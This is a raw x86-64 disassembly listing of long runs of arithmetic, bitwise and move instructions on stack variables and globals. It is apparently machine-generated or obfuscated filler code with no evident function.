lea rax, [rsp + 0xc700]
mov qword [rsp + 0xde50], rax
mov rax, qword [rsp + 0xc2f8]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c2c], eax
mov rax, qword [rsp + 0xc0e8]
mov qword [rsp + 0xde58], rax
mov rax, qword [rsp + 0xc578]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x181c]
sub eax, ecx
mov word [rsp + 0x183c], ax
lea rax, [rsp + 0x99]
mov qword [0x1402c9538], rax
movzx eax, byte [rsp + 0x11d]
mov byte [rsp + 0x16a], al
movzx eax, word [rsp + 0x1934]
mov rcx, qword [rsp + 0xc940]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb08]
mov word [rcx], ax
mov rax, qword [rsp + 0xdb90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd180]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0xcb90]
movzx eax, byte [rax]
mov byte [rsp + 0x16b], al
mov rax, qword [rsp + 0xdc70]
movzx ecx, al
mov rax, qword [rsp + 0xc120]
shl rax, cl
mov qword [rsp + 0xbe88], rax
mov eax, dword [rsp + 0x6d2c]
mov dword [rsp + 0x6d9c], eax
mov rax, qword [rsp + 0xc850]
mov rcx, qword [rsp + 0xbe68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xd0d8]
mov rcx, qword [rsp + 0xc6a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc7a0]
mov qword [rcx], rax
mov rax, qword [0x1402c9180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc908]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c74ab], al
movzx eax, word [rsp + 0x19a4]
mov word [rsp + 0x19d4], ax
movsx eax, word [rsp + 0x17a8]
movsx ecx, word [rsp + 0x180c]
add eax, ecx
mov word [rsp + 0x167c], ax
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0xd988]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc708]
mov byte [rcx], al
mov eax, dword [rsp + 0x6b1c]
mov ecx, dword [rsp + 0x6a1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdaa0]
mov eax, dword [rax]
mov dword [rsp + 0x6da0], eax
mov rax, qword [rsp + 0xdd30]
mov rcx, qword [rsp + 0xcc60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xccd8]
mov qword [rsp + 0xde60], rax
mov rax, qword [rsp + 0xc2f0]
movsx eax, word [rax]
movsx ecx, word [0x1402c74e4]
add eax, ecx
mov word [0x1402c7590], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc928]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc648]
mov byte [rcx], al
movsx eax, word [rsp + 0x1774]
mov rcx, qword [rsp + 0xc998]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd038]
mov word [rcx], ax
lea rax, [rsp + 0x1704]
mov qword [rsp + 0xde68], rax
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x173c]
sub eax, ecx
mov rcx, qword [rsp + 0xcd58]
mov word [rcx], ax
lea rax, [rsp + 0xc188]
mov qword [rsp + 0xde70], rax
mov rax, qword [rsp + 0xc080]
mov ecx, dword [rsp + 0x69d0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a70], eax
lea rax, [rsp + 0x6bdc]
mov qword [rsp + 0xde78], rax
mov rax, qword [rsp + 0xc660]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xccb8]
sar rax, cl
mov rcx, qword [rsp + 0xd0e0]
mov qword [rcx], rax
mov rax, qword [0x1402c9320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1402c9320]
mov word [rcx], ax
movsx eax, word [rsp + 0x1998]
mov rcx, qword [rsp + 0xcc90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17dc], ax
movzx eax, byte [rsp + 0xbc]
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0xced0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11e], al
lea rax, [rsp + 0xec]
mov qword [rsp + 0xde80], rax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [rsp + 0x6900]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd678]
mov rcx, qword [rsp + 0xc198]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d48], eax
lea rax, [rsp + 0xc460]
mov qword [rsp + 0xde88], rax
mov rax, qword [rsp + 0xc568]
mov rcx, qword [rsp + 0xdbc8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd3e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdae8]
movzx eax, word [rax]
mov word [0x1402c9540], ax
movzx eax, word [rsp + 0x1584]
mov word [rsp + 0x19d8], ax
mov rax, qword [rsp + 0xbfe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10a]
add eax, ecx
mov byte [rsp + 0x14c], al
movzx eax, byte [0x1402c74cb]
movzx ecx, byte [rsp + 0xe5]
sub eax, ecx
mov byte [rsp + 0xfc], al
lea rax, [rsp + 0xed]
mov qword [rsp + 0xde90], rax
mov rax, qword [rsp + 0xcef8]
mov ecx, dword [rsp + 0x6c34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b7c], eax
lea rax, [rsp + 0xd168]
mov qword [rsp + 0xde98], rax
mov rax, qword [rsp + 0xd410]
mov rcx, qword [rsp + 0xbbf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d98], eax
lea rax, [rsp + 0xc0c0]
mov qword [rsp + 0xdea0], rax
movzx eax, word [rsp + 0x1860]
movzx ecx, word [rsp + 0x16a0]
sub eax, ecx
mov word [0x1402c7594], ax
movzx eax, byte [rsp + 0x111]
mov rcx, qword [rsp + 0xdb90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xd138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b8]
or eax, ecx
mov word [rsp + 0x16c0], ax
lea rax, [rsp + 0x1614]
mov qword [rsp + 0xdea8], rax
movzx eax, word [rsp + 0x1890]
mov rcx, qword [rsp + 0xc520]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xd6f0]
mov word [rcx], ax
lea rax, [rsp + 0xddc0]
mov qword [rsp + 0xdeb0], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xd0d8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc128], rax
mov eax, dword [rsp + 0x6c34]
mov rcx, qword [rsp + 0xd8b0]
mov qword [rsp + 0xdeb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdeb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6c18], eax
mov rax, qword [rsp + 0xc268]
mov eax, dword [rax]
mov dword [rsp + 0x6da4], eax
mov rax, qword [0x1402c9288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd858]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74ba], al
mov rax, qword [rsp + 0xde40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x161c]
sub eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4f0]
movzx eax, byte [rax]
mov byte [rsp + 0x16e], al
movzx eax, byte [reloc.SHELL32.dll_ILSaveToStream]
movzx ecx, byte [rsp + 0x93]
and eax, ecx
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd158]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x123], al
mov rax, qword [rsp + 0xd5f0]
mov qword [rsp + 0xdec0], rax
mov rax, qword [rsp + 0xc850]
mov ecx, dword [rsp + 0x6c00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c1c], eax
mov rax, qword [rsp + 0xd978]
mov qword [rsp + 0xdec8], rax
mov rax, qword [rsp + 0xcd30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b08], eax
movzx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74a2], al
movsx eax, byte [rsp + 0xd3]
mov rcx, qword [rsp + 0xd738]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdaa8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x19dc], ax
mov rax, qword [rsp + 0xd768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc350]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1824], ax
movzx eax, word [rsp + 0x1808]
mov word [rsp + 0x19e0], ax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcea0], rax
lea rax, [rsp + 0xbfe0]
mov qword [rsp + 0xded0], rax
mov rax, qword [rsp + 0xd9c0]
mov rcx, qword [rsp + 0xc628]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd1e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdaa0]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x69d4], eax
mov rax, qword [rsp + 0xc208]
movzx eax, word [rax]
mov word [rsp + 0x19e4], ax
lea rax, [rsp + 0x153c]
mov qword [0x1402c9548], rax
mov rax, qword [rsp + 0xcf48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x67]
shl eax, cl
mov byte [rsp + 0x161], al
movzx eax, byte [rsp + 0xd6]
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0xd9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1698]
sar eax, cl
mov rcx, qword [rsp + 0xccd0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdd38]
mov rcx, qword [rsp + 0xd810]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc858], rax
mov rax, qword [rsp + 0xcbb8]
mov rax, qword [rax]
mov qword [rsp + 0xded8], rax
mov eax, dword [rsp + 0x6ab4]
mov ecx, dword [rsp + 0x6b34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bec], eax
mov eax, dword [rsp + 0x6980]
mov dword [rsp + 0x6da8], eax
movzx eax, byte [0x1402c74cf]
mov rcx, qword [rsp + 0xc248]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0xd248]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1704]
sub eax, ecx
mov word [0x1402c9388], ax
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcaa0]
mov byte [rcx], al
mov rax, qword [rsp + 0xcbe8]
movzx eax, word [rax]
mov word [rsp + 0x19e8], ax
movsx eax, byte [rsp + 0x16b]
mov rcx, qword [rsp + 0xd898]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0xd658]
mov rax, qword [rax]
mov qword [rsp + 0xdee0], rax
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xbe10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b4c], eax
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
mov dword [rsp + 0x6dac], eax
mov rax, qword [rsp + 0xcf30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd428]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xf1]
movsx ecx, byte [rsp + 0xf6]
sub eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc708]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74fe], al
movzx eax, word [0x1402c74ec]
mov word [rsp + 0x19ec], ax
movzx eax, word [rsp + 0x16ec]
movzx ecx, word [rsp + 0x1838]
shl eax, cl
mov word [rsp + 0x1704], ax
movzx eax, word [rsp + 0x1894]
mov word [rsp + 0x19f0], ax
mov rax, qword [rsp + 0xcbb0]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xdc10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcc70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcde0]
shr rax, cl
mov qword [rsp + 0xd1d0], rax
mov rax, qword [rsp + 0xd548]
mov eax, dword [rax]
mov dword [rsp + 0x6db0], eax
mov rax, qword [rsp + 0xd7b0]
mov rcx, qword [rsp + 0xdbc8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd3a8]
mov qword [rcx], rax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0xdee8], rax
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x1628]
and eax, ecx
mov word [0x1402c7598], ax
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xd938]
mov word [rcx], ax
mov rax, qword [rsp + 0xd9c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
add eax, ecx
mov byte [rsp + 0xef], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0x170], al
movzx eax, word [0x1402c7560]
mov rcx, qword [rsp + 0xd1c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1894], ax
lea rax, [rsp + 0x6c9c]
mov qword [rsp + 0xdef0], rax
mov rax, qword [rsp + 0xded8]
mov rcx, qword [rsp + 0xccd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc750], rax
mov rax, qword [rsp + 0xc6f0]
mov rcx, qword [rsp + 0xcbb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d50], eax
mov rax, qword [rsp + 0xd8a8]
mov qword [rsp + 0xdef8], rax
movzx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0xc9d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9298]
mov byte [rcx], al
mov rax, qword [rsp + 0xba68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x76]
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74aa]
sub eax, ecx
mov rcx, qword [rsp + 0xc928]
mov byte [rcx], al
mov rax, qword [rsp + 0xbef8]
movzx eax, byte [rax]
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0xc668]
mov rcx, qword [rsp + 0xc4d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xd6a8]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcb60]
mov dword [rcx], eax
lea rax, [rsp + 0xc278]
mov qword [rsp + 0xdf00], rax
mov rax, qword [rsp + 0xd920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x18c0]
mov word [0x1402c9550], ax
lea rax, [rsp + 0x12d]
mov qword [rsp + 0xdf08], rax
movzx eax, word [rsp + 0x1780]
movzx ecx, word [rsp + 0x166c]
shl eax, cl
mov rcx, qword [rsp + 0xcbf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xde90]
movsx eax, byte [rax]
mov rcx, qword [0x1402c92c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0xd420]
movzx eax, word [rax]
mov word [rsp + 0x19f4], ax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc558]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd578]
mov qword [rcx], rax
lea rax, [rsp + 0x6b5c]
mov qword [rsp + 0xdf10], rax
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xc6f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd188]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc5e8]
mov rcx, qword [rsp + 0xc730]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd448], rax
mov rax, qword [rsp + 0xd858]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9400]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74ef], al
movzx eax, word [rsp + 0x16ec]
mov word [rsp + 0x19f8], ax
movsx eax, word [rsp + 0x19a0]
mov rcx, qword [rsp + 0xde48]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x103]
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0xcae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x18e4]
sub eax, ecx
mov word [rsp + 0x194c], ax
mov rax, qword [rsp + 0xd5b8]
mov rcx, qword [rsp + 0xbe40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ce4], eax
mov rax, qword [rsp + 0xd1a0]
mov qword [rsp + 0xdf18], rax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a6c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc890]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc068]
mov rax, qword [rax]
mov qword [rsp + 0xdf20], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
imul eax, eax, 0x1c8
mov word [0x1402c7500], ax
mov rax, qword [rsp + 0xd398]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85]
sub eax, ecx
mov rcx, qword [rsp + 0xd440]
mov byte [rcx], al
lea rax, [rsp + 0x1760]
mov qword [rsp + 0xdf28], rax
movsx eax, byte [rsp + 0xc3]
movsx ecx, byte [0x1402c748a]
add eax, ecx
mov byte [rsp + 0xd9], al
mov rax, qword [rsp + 0xbf08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1634]
add eax, ecx
mov rcx, qword [rsp + 0xc560]
mov word [rcx], ax
mov eax, dword [rsp + 0x6d4c]
mov dword [rsp + 0x6db4], eax
mov rax, qword [rsp + 0xcf50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd310]
shl rax, cl
mov rcx, qword [rsp + 0xd3d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6918]
mov dword [rsp + 0x6db8], eax
mov rax, qword [rsp + 0xc650]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb48], rax
lea rax, [rsp + 0x17dc]
mov qword [0x1402c9558], rax
movsx eax, byte [0x1402c74ba]
mov rcx, qword [rsp + 0xcc68]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x162], al
lea rax, [rsp + 0x140]
mov qword [rsp + 0xdf30], rax
movsx eax, word [rsp + 0x1604]
movsx ecx, word [rsp + 0x191c]
sar eax, cl
mov rcx, qword [rsp + 0xc4c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x144]
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0xc348]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc7f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9f8], rax
mov rax, qword [rsp + 0xdcb8]
mov rcx, qword [rsp + 0xc388]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0f8], rax
mov eax, dword [rsp + 0x6ac4]
mov dword [rsp + 0x6dbc], eax
mov rax, qword [rsp + 0xd0f0]
mov ecx, dword [rsp + 0x6a78]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd9d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd5a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c9514], ax
movzx eax, word [rsp + 0x1834]
mov word [rsp + 0x19fc], ax
movsx eax, word [rsp + 0x18fc]
movsx ecx, word [rsp + 0x18dc]
sub eax, ecx
mov word [rsp + 0x1778], ax
lea rax, [rsp + 0x50]
mov qword [rsp + 0xdf38], rax
movzx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0xc238]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0xd3f8]
mov rcx, qword [rsp + 0xdc80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b38], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xdf40], rax
mov rax, qword [rsp + 0xdf00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd7b0]
mov qword [rcx], rax
lea rax, [rsp + 0x6d78]
mov qword [rsp + 0xdf48], rax
mov rax, qword [rsp + 0xd478]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9408]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74ff], al
movzx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0xc7e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19fc]
sar eax, cl
mov word [rsp + 0x175c], ax
lea rax, [0x1402c74b8]
mov qword [rsp + 0xdf50], rax
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbd]
shl eax, cl
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov dword [rsp + 0x6dc0], eax
mov rax, qword [rsp + 0xc880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfc0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc468], rax
mov rax, qword [rsp + 0xcd80]
mov rcx, qword [rsp + 0xd120]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd3a0], rax
lea rax, [rsp + 0x6ab0]
mov qword [rsp + 0xdf58], rax
mov rax, qword [0x1402c9178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1594]
imul eax, ecx
mov rcx, qword [rsp + 0xda48]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd318]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9488]
mov byte [rcx], al
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xdf60], rax
movzx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x173], al
movzx eax, byte [rsp + 0xff]
movzx ecx, byte [rsp + 0x13f]
add eax, ecx
mov byte [rsp + 0x5c], al
mov rax, qword [rsp + 0xd658]
mov rax, qword [rax]
mov qword [rsp + 0xdf68], rax
mov rax, qword [rsp + 0xd310]
mov rcx, qword [rsp + 0xcf60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd600], rax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
mov dword [rsp + 0x6dc4], eax
mov rax, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xc738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d18], eax
lea rax, [0x1402c91f8]
mov qword [rsp + 0xdf70], rax
lea rax, [rsp + 0x18dc]
mov qword [0x1402c9560], rax
movsx eax, word [rsp + 0x1638]
movsx ecx, word [rsp + 0x199c]
sub eax, ecx
mov word [rsp + 0x1874], ax
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [rsp + 0x113]
sub eax, ecx
mov byte [rsp + 0x5b], al
movzx eax, byte [rsp + 0x130]
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0xd1e8]
mov rcx, qword [rsp + 0xce00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bcc], eax
mov rax, qword [rsp + 0xd0e0]
mov rax, qword [rax]
mov qword [rsp + 0xdf78], rax
mov eax, dword [rsp + 0x6aa8]
mov ecx, dword [rsp + 0x6c20]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xca40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdd80]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xde10]
shr rax, cl
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
lea rax, [0x1402c74db]
mov qword [rsp + 0xdf80], rax
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1990]
xor eax, ecx
mov word [0x1402c759c], ax
mov rax, qword [rsp + 0xc478]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd6d0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1888], ax
lea rax, [rsp + 0x1968]
mov qword [rsp + 0xdf88], rax
mov rax, qword [rsp + 0xd078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd378]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd998]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe28], rax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov dword [rsp + 0x6dc8], eax
mov rax, qword [rsp + 0xdd10]
mov rcx, qword [rsp + 0xbf78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
lea rax, [rsp + 0xce90]
mov qword [rsp + 0xdf90], rax
movsx eax, word [0x1402c74f0]
movsx ecx, word [rsp + 0x1598]
and eax, ecx
mov word [rsp + 0x17ec], ax
mov rax, qword [rsp + 0xdbf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc108]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74a0], ax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xdf98], rax
movzx eax, byte [0x1402c90c6]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x164], al
movzx eax, byte [rsp + 0x155]
mov rcx, qword [rsp + 0xc870]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc320]
mov byte [rcx], al
mov rax, qword [rsp + 0xc458]
movzx eax, byte [rax]
mov byte [rsp + 0x176], al
mov rax, qword [rsp + 0xc768]
mov rcx, qword [rsp + 0xce68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a6c], eax
lea rax, [rsp + 0xd810]
mov qword [rsp + 0xdfa0], rax
mov rax, qword [rsp + 0xd070]
mov ecx, dword [rsp + 0x6a68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ac8], eax
mov rax, qword [rsp + 0xd210]
mov rcx, qword [rsp + 0xcc70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xcb98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
mov byte [0x1402c90df], al
lea rax, [rsp + 0x15b8]
mov qword [rsp + 0xdfa8], rax
mov rax, qword [rsp + 0xd248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc8e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdc00]
movzx eax, word [rax]
mov word [rsp + 0x1a00], ax
mov rax, qword [rsp + 0xdcc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x110]
sub eax, ecx
mov byte [rsp + 0x117], al
